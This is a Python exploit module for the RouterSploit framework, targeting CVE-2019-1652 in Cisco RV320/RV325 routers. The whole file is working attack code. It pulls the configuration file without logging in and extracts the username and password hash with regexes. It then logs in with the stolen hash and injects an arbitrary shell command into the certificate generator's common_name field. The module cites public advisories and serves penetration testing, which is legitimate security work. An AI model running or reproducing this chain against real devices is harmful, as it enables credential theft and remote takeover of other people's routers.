import re
import requests
from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient


class Exploit(HTTPClient):
    __info__ = {
        "name": "Cisco RV320 Command Injection",
        "description": "Module exploits Cisco RV320 Remote Command Injection vulnerability "
                       "in the web-based certificate generator feature.",
        "authors": (
            "RedTeam Pentesting GmbH",  # vulnerability discovery
            "GH0st3rs",  # routersploit module
        ),
        "references": (
            "https://www.redteam-pentesting.de/en/advisories/rt-sa-2019-005/-cisco-rv320-command-injection",
            "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1652",
            "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info",
        ),
        "devices": (
            "Cisco RV320 from 1.4.2.15 to 1.4.2.22",
            "Cisco RV325",
        ),
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(443, "Target HTTP port")

    command = OptString("", "Command for execute")

    def run(self):
        if self.check():
            print_success("Target is vulnerable")
            config = self.get_config()
            if config is None:
                print_error("Config extraction failed. Quitting.")
                return
            username, password = self.extract_creds(config=config)
            if username is None or password is None:
                print_error("Username or password not found!")
                return
            session = self.cisco_login(username=username, password=password)
            if session is None:
                print_error("Login Failed, quitting time loser :(")
                return
            self.pwn(session=session, command=self.command)
        else:
            print_error("Target is not vulnerable")

    def get_config(self):
        print_status("Gonna go grab us a config file...")
        response = self.http_request(
            method="GET",
            path="/cgi-bin/config.exp",
        )
        if response and "sysconfig" in response.text:
            print_success("We seem to have found a valid config!")
            return response.text
        return None

    def extract_creds(self, config):
        # Here we extract the USER and PASSWD lines to get the username and hash...
        print_status("Extracting Creds...")

        username = re.findall('USERNAME=(.*?)\n', config)
        if not username:
            return None, None

        username = username[0]
        print_success("Got user: %s" % username)
        password = re.findall('PASSWD=(.*?)\n', config)

        if not password:
            return None, None

        password = password[0]
        print_success("Got password (hash): %s" % password)

        return username, password

    def extract_auth_key(self, session):
        response = self.http_request(
            session=session,
            method="GET",
            path="/cgi-bin/userLogin.cgi",
            verify=False,
        )
        if response is None:
            return None
        auth_key = re.findall(r'"auth_key" value="(.*?)">', response.text)
        if len(auth_key):
            return auth_key[0]
        return None

    def cisco_login(self, username, password):
        session = requests.Session()
        print_status("Sending request to extract auth key...")

        auth_key = self.extract_auth_key(session=session)
        if auth_key is not None:
            print_success("Got auth_key value: %s" % auth_key)
        else:
            print_success("auth_key extraction failed. Using 1964300002 anyway")
            auth_key = "1964300002"  # this seems to be a default on some?

        # now we do the login
        post_data = {
            "auth_key": auth_key,
            "auth_server_pw": "Y2lzY28=",
            "changelanguage": "",
            "current_password": "",
            "langName": "ENGLISH,Deutsch,Espanol,Francais,Italiano",
            "LanguageList": "ENGLISH",
            "login": "true",
            "md5_old_pass": "",
            "new_password": "",
            "password": password,
            "password_expired": 0,
            "pdStrength": 0,
            "portalname": "CommonPortal",
            "re_new_password": "",
            "submitStatus": 0,
            "username": username
        }

        login_response = self.http_request(
            session=session,
            method="POST",
            path="/cgi-bin/userLogin.cgi",
            verify=False,
            data=post_data
        )

        if login_response and "URL=/default.htm" in login_response.text:
            print_success("Login Successful, we can proceed!")
            return session
        return None

    def pwn(self, session, command):
        print_status("Ok, now to run your command: %s" % command)
        print_status("We don't get output so... Yeah. Shits blind.")

        payload = "a'$(%s)'b" % (command)
        post_data = {
            "page": "self_generator.htm",
            "totalRules": 1,
            "OpenVPNRules": 30,
            "submitStatus": 1,
            "log_ch": 1,
            "type": 4,
            "Country": "A",
            "state": "A",
                     "locality": "A",
                     "organization": "A",
                     "organization_unit": "A",
                     "email": "ab%40example.com",
                     "KeySize": 512,
                     "KeyLength": 1024,
                     "valid_days": 30,
                     "SelectSubject_c": 1,
                     "SelectSubject_s": 1,
                     "common_name": payload
        }
        self.http_request(
            session=session,
            method="POST",
            path="/certificate_handle2.htm?type=4",
            verify=False,
            data=post_data
        )

    @mute
    def check(self):
        if self.get_config() is not None:
            return True

        return False
